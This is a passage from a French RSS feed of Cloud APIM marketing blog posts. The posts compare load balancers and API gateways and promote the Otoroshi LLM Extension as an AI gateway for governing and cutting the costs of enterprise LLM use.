&lt;p&gt;En réalité, ces deux outils sont &lt;strong&gt;complémentaires&lt;/strong&gt;. Une architecture moderne utilise souvent &lt;strong&gt;un Load Balancer en frontal&lt;/strong&gt;, qui dirige le trafic HTTP vers une &lt;strong&gt;API Gateway&lt;/strong&gt;, elle-même chargée de gérer les API et de router vers les bons services.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;pourquoi-choisir-une-solution-de-gestion-dapi-dans-le-cloud-&quot;&gt;Pourquoi choisir une solution de gestion d’API dans le cloud ?&lt;/h2&gt;
&lt;p&gt;Les API sont aujourd’hui au cœur de la transformation digitale. Pour les entreprises, &lt;strong&gt;l’externalisation de la gestion des API via une plateforme cloud&lt;/strong&gt; permet de :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Gagner du temps dans la mise en production&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Profiter d’un hébergement sécurisé et scalable&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Suivre les performances et les usages via des dashboards avancés&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Intégrer facilement des outils d’authentification (SSO, tokens, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;cloud-apim--la-plateforme-française-de-gestion-dapi-cloud&quot;&gt;Cloud-APIM : la plateforme française de gestion d’API cloud&lt;/h2&gt;
&lt;p&gt;Chez &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud-APIM&lt;/a&gt;, nous aidons les entreprises à &lt;strong&gt;exposer, sécuriser et superviser leurs API&lt;/strong&gt; à travers une solution complète d’&lt;strong&gt;API Management en mode SaaS ou cloud privé&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Nos atouts :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hébergement &lt;strong&gt;souverain en France&lt;/strong&gt; 🇫🇷&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Portail développeur personnalisable&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sécurité avancée (TLS, OAuth2, WAF)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support entreprise &amp;#x26; accompagnement technique&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;en-résumé-&quot;&gt;En résumé :&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Le &lt;strong&gt;Load Balancer&lt;/strong&gt; répartit le trafic,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L’&lt;strong&gt;API Gateway&lt;/strong&gt; gouverne, sécurise et trace les appels APIs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les deux peuvent (et doivent souvent) être utilisés ensemble.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;➡️ Prêt à structurer votre stratégie API ? Testez dès maintenant notre plateforme sur &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;cloud-apim.com&lt;/a&gt; ou contactez nos experts pour une démonstration.&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>API gateway</category><category>Load balancer</category><category>Otoroshi</category><category>Reverse proxy</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CjSJS7l9_Tiq6n.jpg" length="0" type="image/jpeg"/></item><item><title>Maîtriser les coûts de l’IA générative en entreprise grâce à Otoroshi LLM Extension</title><link>https://blog.cloud-apim.com/optimisation-couts-ia-generative-entreprise</link><guid isPermaLink="true">https://blog.cloud-apim.com/optimisation-couts-ia-generative-entreprise</guid><description>Maîtrisez les coûts des LLMs en entreprise avec Otoroshi LLM Extension : cache, routage, gouvernance et suivi budgétaire complet.</description><pubDate>Thu, 03 Jul 2025 14:52:56 GMT</pubDate><content:encoded>&lt;p&gt;L’intelligence artificielle générative (IA générative) révolutionne l’entreprise : assistants intelligents, automatisation, génération de contenus… les cas d’usage explosent.&lt;/p&gt;
&lt;p&gt;Mais avec cette adoption croissante vient une problématique majeure : &lt;strong&gt;la gestion des coûts d’utilisation des modèles de langage (LLM)&lt;/strong&gt; comme &lt;a href=&quot;https://chatgpt.com&quot;&gt;ChatGPT&lt;/a&gt;, &lt;a href=&quot;https://claude.ai&quot;&gt;Claude&lt;/a&gt; ou &lt;a href=&quot;https://mistral.ai/fr&quot;&gt;Mistral&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;De nombreuses entreprises se retrouvent face à une &lt;strong&gt;facture qui grimpe&lt;/strong&gt; sans contrôle réel, à cause d’un usage intensif, mal encadré ou dispersé dans les équipes.&lt;/p&gt;
&lt;p&gt;C’est précisément pour répondre à ce besoin que nous avons conçu &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/&quot;&gt;&lt;strong&gt;Otoroshi LLM Extension&lt;/strong&gt;&lt;/a&gt; : une solution pour &lt;strong&gt;reprendre la maîtrise des coûts liés à l’IA en entreprise&lt;/strong&gt;, sans sacrifier l’innovation.&lt;/p&gt;
&lt;h2 id=&quot;pourquoi-surveiller-et-optimiser-lusage-des-llms-en-entreprise-&quot;&gt;Pourquoi surveiller et optimiser l’usage des LLMs en entreprise ?&lt;/h2&gt;
&lt;p&gt;Voici ce que nous observons sur le terrain :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les coûts mensuels liés aux LLMs explosent avec l’usage croissant (notamment GPT-4).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le &lt;strong&gt;manque de visibilité&lt;/strong&gt; sur qui utilise quoi, comment et à quel prix.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;L’absence de &lt;strong&gt;quotas ou règles&lt;/strong&gt; d’usage pour les collaborateurs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Aucune distinction entre les tâches simples (qui pourraient utiliser un modèle gratuit ou local) et les tâches complexes.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 Résultat : une &lt;strong&gt;perte de contrôle budgétaire&lt;/strong&gt;, un &lt;strong&gt;risque de surconsommation&lt;/strong&gt; et des &lt;strong&gt;dépenses injustifiées&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;otoroshi-llm-extension--la-solution-pour-maîtriser-les-coûts-dia&quot;&gt;Otoroshi LLM Extension : la solution pour maîtriser les coûts d’IA&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Otoroshi LLM Extension&lt;/strong&gt; est une surcouche stratégique qui agit comme &lt;strong&gt;un point d’entrée unique pour tous les usages IA dans votre entreprise&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Elle vous permet de &lt;strong&gt;surveiller, sécuriser et piloter l’usage des LLMs&lt;/strong&gt;, tout en &lt;strong&gt;réduisant significativement les coûts&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id=&quot;réduction-automatique-des-appels-llm-grâce-au-cache-intelligent&quot;&gt;Réduction automatique des appels LLM grâce au &lt;strong&gt;cache intelligent&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;De nombreuses requêtes sont répétitives (même question, même contexte).&lt;/p&gt;
&lt;p&gt;Plutôt que de repayer à chaque fois, &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/&quot;&gt;Otoroshi LLM Extension&lt;/a&gt; &lt;strong&gt;réutilise les réponses précédentes&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Mise en cache configurable basée sur les prompts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Réponses stockées temporairement pour éviter des appels facturés inutilement&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Idéal pour les assistants internes ou FAQ automatisées&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact : jusqu’à 50 % de réduction sur le volume de requêtes facturées&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;routage-intelligent-vers-le-bon-modèle-au-bon-moment&quot;&gt;&lt;strong&gt;Routage intelligent&lt;/strong&gt; vers le bon modèle au bon moment&lt;/h3&gt;
&lt;p&gt;Tous les cas d’usage ne nécessitent pas GPT-4.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pour les tâches simples : &lt;strong&gt;modèles open source hébergés en interne&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pour les cas complexes : fallback vers des modèles performants (GPT, Claude)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Possibilité de créer des &lt;strong&gt;règles personnalisées&lt;/strong&gt; selon le type de requête ou l’utilisateur&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact : usage optimisé, facture allégée&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;gestion-des-accès-quotas-et-budgets-par-équipe-ou-service&quot;&gt;&lt;strong&gt;Gestion des accès, quotas et budgets&lt;/strong&gt; par équipe ou service&lt;/h3&gt;
&lt;p&gt;Contrôlez qui a accès à l’IA, combien de requêtes sont autorisées, et suivez les budgets.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Mise en place de &lt;strong&gt;plafonds de consommation&lt;/strong&gt; (nombre de requêtes ou coût)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Attribution de clés API par utilisateur ou service&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Application de politiques de gouvernance IA&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact : fin des dérives de consommation, usage aligné avec la stratégie&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;tableaux-de-bord-clairs-pour-une-meilleure-gouvernance&quot;&gt;&lt;strong&gt;Tableaux de bord clairs&lt;/strong&gt; pour une meilleure gouvernance&lt;/h3&gt;
&lt;p&gt;Vous ne pouvez optimiser que ce que vous mesurez.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Visualisation de l’usage LLM par département, utilisateur ou projet&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Estimation en temps réel des coûts (par token ou modèle)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Export et reporting pour les DSI et services achats&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact : pilotage budgétaire fiable et décisionnel&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;réécriture-automatique-des-prompts-pour-réduire-les-tokens-utilisés&quot;&gt;&lt;strong&gt;Réécriture automatique des prompts&lt;/strong&gt; pour réduire les tokens utilisés&lt;/h3&gt;
&lt;p&gt;Certains prompts sont inutilement longs ou mal formulés.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;Otoroshi&lt;/a&gt; peut les &lt;strong&gt;simplifier ou optimiser automatiquement&lt;/strong&gt; avant envoi.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Suppression des redondances&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimisation sémantique pour limiter les tokens&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Résultats identiques, coût réduit&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 &lt;strong&gt;Impact : réduction directe de la consommation de tokens facturés&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;sécurité-et-conformité-intégrées&quot;&gt;Sécurité et conformité intégrées&lt;/h2&gt;
&lt;p&gt;En centralisant tous les appels IA :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Vous &lt;strong&gt;bloquez les usages non autorisés&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vous évitez les fuites de données sensibles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vous renforcez la conformité RGPD et sécurité interne&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;une-innovation-maîtrisée-budget-sous-contrôle&quot;&gt;Une innovation maîtrisée, budget sous contrôle&lt;/h2&gt;
&lt;p&gt;Adopter l’IA générative ne doit pas rimer avec &lt;strong&gt;perte de contrôle budgétaire&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Avec &lt;strong&gt;Otoroshi LLM Extension&lt;/strong&gt;, vous offrez à vos équipes un &lt;strong&gt;cadre sécurisé et intelligent pour l’usage des LLMs&lt;/strong&gt;, tout en &lt;strong&gt;maximisant le retour sur investissement&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&quot;-prêt-à-reprendre-la-main-sur-vos-coûts-ia-&quot;&gt;🚀 Prêt à reprendre la main sur vos coûts IA ?&lt;/h2&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/overview&quot;&gt;Découvrez la documentation officielle&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;📬 &lt;strong&gt;Restez informé&lt;/strong&gt;&lt;br&gt;
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-à-propos-de-cloud-apim&quot;&gt;🏢 À propos de Cloud APIM&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres &lt;a href=&quot;https://www.cloud-apim.com/fr/otoroshi-managed&quot;&gt;&lt;strong&gt;managées&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;, performantes et prêtes à l’emploi&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Nos produits innovants incluent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/otoroshi-managed&quot;&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt;&lt;/a&gt; : Instances Otoroshi gérées, configurées et prêtes en quelques secondes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;Serverless avec GitOps&lt;/strong&gt;&lt;/a&gt; : Déploiements scalables sans gestion d’infrastructure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloud-apim.com/fr/authify&quot;&gt;&lt;strong&gt;Authify&lt;/strong&gt;&lt;/a&gt; : Authentification rapide et sécurisée pour vos APIs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>Otoroshi</category><category>LLM</category><category>Otoroshi LLM extension</category><category>Cloud APIM</category><category>API management</category><category>IA</category><category>Outils d’IA</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DhVclIDj_ZJa9Tq.jpg" length="0" type="image/jpeg"/></item><item><title>À la découverte de l&apos;extension Otoroshi LLM by Cloud APIM</title><link>https://blog.cloud-apim.com/a-la-decouverte-de-lextension-otoroshi-llm-by-cloud-apim</link><guid isPermaLink="true">https://blog.cloud-apim.com/a-la-decouverte-de-lextension-otoroshi-llm-by-cloud-apim</guid><description>Otoroshi LLM par Cloud APIM : connectez et contrôlez vos modèles de langage (LLM) comme OpenAI, Claude, Mistral, Ollama ou Hugging Face.</description><pubDate>Mon, 30 Jun 2025 07:50:03 GMT</pubDate><content:encoded>&lt;h2 id=&quot;-quest-ce-que-lextension-otoroshi-llm-&quot;&gt;🔍 &lt;strong&gt;Qu’est-ce que l’extension Otoroshi LLM ?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;L’extension &lt;a href=&quot;https://github.com/cloud-apim/otoroshi-llm-extension/&quot;&gt;&lt;strong&gt;Otoroshi LLM&lt;/strong&gt;&lt;/a&gt; développée par &lt;strong&gt;Cloud APIM&lt;/strong&gt; est un module innovant qui transforme la passerelle API open source &lt;strong&gt;Otoroshi&lt;/strong&gt; en une &lt;strong&gt;puissante passerelle d’IA (AI Gateway)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Cette extension permet une intégration native avec les principaux fournisseurs de &lt;strong&gt;modèles de langage (LLM)&lt;/strong&gt; tels que &lt;strong&gt;OpenAI&lt;/strong&gt;, &lt;strong&gt;Mistral&lt;/strong&gt;, &lt;strong&gt;Anthropic&lt;/strong&gt;, &lt;strong&gt;Azure&lt;/strong&gt;, &lt;strong&gt;Hugging Face&lt;/strong&gt;, et bien d’autres &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/llm-gateway/providers&quot;&gt;(voir la documentation)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Grâce à cette technologie, les entreprises peuvent intégrer des modèles conversationnels, des fonctionnalités génératives ou des services intelligents directement dans leur infrastructure API.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;fonctionnalités-clés-de-lextension-otoroshi-llm&quot;&gt;&lt;strong&gt;Fonctionnalités clés de l’extension Otoroshi LLM&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id=&quot;compatibilité-multi-fournisseurs-ia&quot;&gt;Compatibilité multi-fournisseurs IA&lt;/h3&gt;
&lt;p&gt;Basculez facilement entre plusieurs modèles comme &lt;strong&gt;GPT (OpenAI)&lt;/strong&gt;, &lt;strong&gt;Claude&lt;/strong&gt;, &lt;strong&gt;Mistral&lt;/strong&gt;, vos propres modèles internes ou des modèles open source.&lt;/p&gt;
&lt;p&gt;Réduisez la dépendance à un seul fournisseur (vendor lock-in) et améliorez la flexibilité de vos flux IA.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;ingénierie-de-prompt-avancée&quot;&gt;Ingénierie de prompt avancée&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Créez des &lt;strong&gt;prompts dynamiques avec des modèles&lt;/strong&gt; personnalisés&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Injectez du &lt;strong&gt;contexte en temps réel&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Appliquez des &lt;strong&gt;barrières de sécurité (guardrails)&lt;/strong&gt; pour contrôler les entrées et sorties&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Idéal pour les cas d’usage où la &lt;strong&gt;conformité, la confidentialité des données et la fiabilité des réponses&lt;/strong&gt; sont critiques.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;gouvernance-et-sécurité-de-lia&quot;&gt;Gouvernance et sécurité de l’IA&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Quotas LLM par utilisateur ou par service&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Contrôle d’accès basé sur les rôles (RBAC)&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Modération des requêtes&lt;/strong&gt; et &lt;strong&gt;audit complet&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Intégration native avec les &lt;strong&gt;règles Otoroshi&lt;/strong&gt; pour une gouvernance fine au niveau API&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;-optimisation-des-coûts-et-des-performances&quot;&gt;📊 Optimisation des coûts et des performances&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Suivi du &lt;strong&gt;nombre de tokens&lt;/strong&gt; et des &lt;strong&gt;coûts par requête&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cache sémantique&lt;/strong&gt; pour éviter les appels redondants&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Stratégies de &lt;strong&gt;retry&lt;/strong&gt;, &lt;strong&gt;équilibrage de charge&lt;/strong&gt;, et gestion des délais&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id=&quot;déploiement-facile-avec-cloud-apim-et-clever-cloud&quot;&gt;Déploiement facile avec Cloud APIM et Clever Cloud&lt;/h2&gt;
&lt;p&gt;L’extension Otoroshi LLM est &lt;strong&gt;disponible dès maintenant&lt;/strong&gt; sur la plateforme &lt;a href=&quot;https://www.cloud-apim.com&quot;&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt;&lt;/a&gt; via les &lt;a href=&quot;http://www.cloud-apim.com/fr/otoroshi-managed&quot;&gt;&lt;strong&gt;instances managées Otoroshi&lt;/strong&gt;&lt;/a&gt; ou sous forme de &lt;a href=&quot;https://www.cloud-apim.com/fr/serverless&quot;&gt;&lt;strong&gt;passerelle IA serverless&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Depuis &lt;strong&gt;décembre 2024&lt;/strong&gt;, elle est également &lt;strong&gt;déployable en quelques minutes&lt;/strong&gt; via &lt;strong&gt;Clever Cloud&lt;/strong&gt;, grâce à l’add-on “&lt;a href=&quot;https://www.clever-cloud.com/fr/blog/fonctionnalites/2024/12/17/otoroshi-with-llm-simplifiez-la-gestion-de-vos-api-et-services-ia-sur-clever-cloud/&quot;&gt;Otoroshi LLM extension&lt;/a&gt;”.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;cas-dusage-typiques&quot;&gt;Cas d’usage typiques&lt;/h2&gt;
&lt;h3 id=&quot;workflows-dapi-pilotés-par-lia&quot;&gt;Workflows d’API pilotés par l’IA&lt;/h3&gt;
&lt;p&gt;Centralisez les prompts, gérez les réponses, et optimisez l’usage des modèles LLM dans vos APIs.&lt;/p&gt;
&lt;h3 id=&quot;chatbots-sécurisés-et-agents-conversationnels&quot;&gt;Chatbots sécurisés et agents conversationnels&lt;/h3&gt;
&lt;p&gt;Déployez des agents audités, modérés et adaptés à des environnements professionnels.&lt;/p&gt;
&lt;h3 id=&quot;routage-intelligent&quot;&gt;Routage intelligent&lt;/h3&gt;
&lt;p&gt;Confiez les tâches courantes à des modèles légers comme &lt;strong&gt;Mistral&lt;/strong&gt; ou &lt;strong&gt;Ollama&lt;/strong&gt;, et réservez &lt;strong&gt;GPT-4&lt;/strong&gt; pour les opérations critiques.&lt;/p&gt;
&lt;h3 id=&quot;apis-prêtes-pour-laudit-et-la-conformité&quot;&gt;APIs prêtes pour l’audit et la conformité&lt;/h3&gt;
&lt;p&gt;Construisez des fonctionnalités IA conformes pour les secteurs réglementés : &lt;strong&gt;finance, santé, administration&lt;/strong&gt;, etc.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;pourquoi-cest-important&quot;&gt;Pourquoi c’est important&lt;/h2&gt;
&lt;p&gt;À l’heure où l’intelligence artificielle et les APIs convergent, l’extension Otoroshi LLM offre une &lt;strong&gt;infrastructure fiable, sécurisée et évolutive&lt;/strong&gt; pour les applications de nouvelle génération.&lt;/p&gt;
&lt;p&gt;👉 Créez des microservices intelligents&lt;br&gt;
👉 Proposez des expériences interactives&lt;br&gt;
👉 Automatisez vos opérations backend avec transparence et contrôle&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://cloud-apim.github.io/otoroshi-llm-extension/docs/overview&quot;&gt;&lt;strong&gt;Consultez la documentation officielle de l’extension Otoroshi LLM&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;📬 &lt;strong&gt;Restez informé&lt;/strong&gt;&lt;br&gt;
Abonnez-vous à notre blog pour suivre les nouveautés, astuces, et bonnes pratiques autour de nos solutions.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;-à-propos-de-cloud-apim&quot;&gt;🏢 À propos de Cloud APIM&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Cloud APIM&lt;/strong&gt; est un fournisseur de solutions de gestion d’API de nouvelle génération. Nous aidons les entreprises à exploiter tout le potentiel de leurs APIs grâce à des offres &lt;strong&gt;managées, performantes et prêtes à l’emploi&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Nos produits innovants incluent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Otoroshi Managed Instances&lt;/strong&gt; : Instances Otoroshi gérées, configurées et prêtes en quelques secondes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Serverless avec GitOps&lt;/strong&gt; : Déploiements scalables sans gestion d’infrastructure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Authify&lt;/strong&gt; : Authentification rapide et sécurisée pour vos APIs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; sizes=&quot;(min-width: 256px) 256px, 100vw&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp&quot; srcset=&quot;https://blog.cloud-apim.com/_astro/01-0333c0.DsU7Gazg_6iiyf.webp 256w&quot;&gt;&lt;/p&gt;</content:encoded><dc:creator>Thomas Delafaye</dc:creator><dc:language>fr</dc:language><category>Otoroshi LLM extension</category><category>Otoroshi</category><category>LLM</category><category>Cloud APIM</category><category>API management</category><category>AI gateway</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.SpJueui9_Ls4pP.jpg" length="0" type="image/jpeg"/></item><item><title>Pas d&apos;IA sans API : IA + API = ❤️</title><link>https://blog.cloud-apim.com/pas-d-ia-sans-api</link><guid isPermaLink="true">https://blog.cloud-apim.com/pas-d-ia-sans-api</guid><description>Pourquoi « Pas d&apos;IA sans API » est bien plus qu&apos;un slogan, et comment les API permettent d&apos;intégrer, de faire évoluer et de gérer vos solutions d&apos;IA.</description><pubDate>Mon, 28 Oct 2024 08:50:29 GMT</pubDate><content:encoded>&lt;p&gt;À l’heure de la transformation numérique, la formule &lt;strong&gt;« Pas d’IA sans API »&lt;/strong&gt; est devenue une notion clé pour comprendre comment l’intelligence artificielle (IA) s’intègre naturellement aux systèmes logiciels modernes.&lt;/p&gt;
&lt;p&gt;La relation symbiotique entre les &lt;strong&gt;API (Application Programming Interfaces)&lt;/strong&gt; et l’IA est au cœur de ce qui rend les technologies d’IA plus accessibles, plus évolutives et mieux intégrées aux activités des entreprises.&lt;/p&gt;
&lt;p&gt;Cet article explique pourquoi les API sont fondamentales pour l’IA, quels bénéfices elles apportent, et présente des exemples concrets de leur impact.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;quest-ce-quune-api-et-pourquoi-est-ce-important-pour-lia-&quot;&gt;Qu’est-ce qu’une API et pourquoi est-ce important pour l’IA ?&lt;/h3&gt;
&lt;p&gt;Une &lt;strong&gt;API (Application Programming Interface)&lt;/strong&gt; est un ensemble de règles et de protocoles qui permet à différentes applications logicielles de communiquer entre elles.&lt;/p&gt;
&lt;p&gt;Concrètement, les API permettent à une application d’accéder aux données ou aux fonctionnalités d’une autre, ce qui facilite l’intégration de systèmes différents.&lt;/p&gt;
&lt;p&gt;Dans le cas de l’IA, les API font le pont entre les modèles et algorithmes d’IA et les applications du monde réel : elles offrent un moyen structuré d’implémenter des fonctionnalités d’IA sans réinventer la roue.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les API jouent un rôle central dans l’intégration de l’IA&lt;/strong&gt;, car elles simplifient le déploiement de solutions basées sur l’IA en permettant aux développeurs d’utiliser des capacités d’IA prêtes à l’emploi.&lt;/p&gt;
&lt;p&gt;Les entreprises n’ont donc pas besoin d’une expertise poussée en IA pour intégrer à leurs logiciels des fonctionnalités intelligentes comme le &lt;strong&gt;traitement du langage naturel (NLP), la reconnaissance d’images&lt;/strong&gt; ou l’&lt;strong&gt;analyse prédictive&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;une-relation-symbiotique--comment-les-api-favorisent-ladoption-de-lia&quot;&gt;Une relation symbiotique : comment les API favorisent l’adoption de l’IA&lt;/h3&gt;
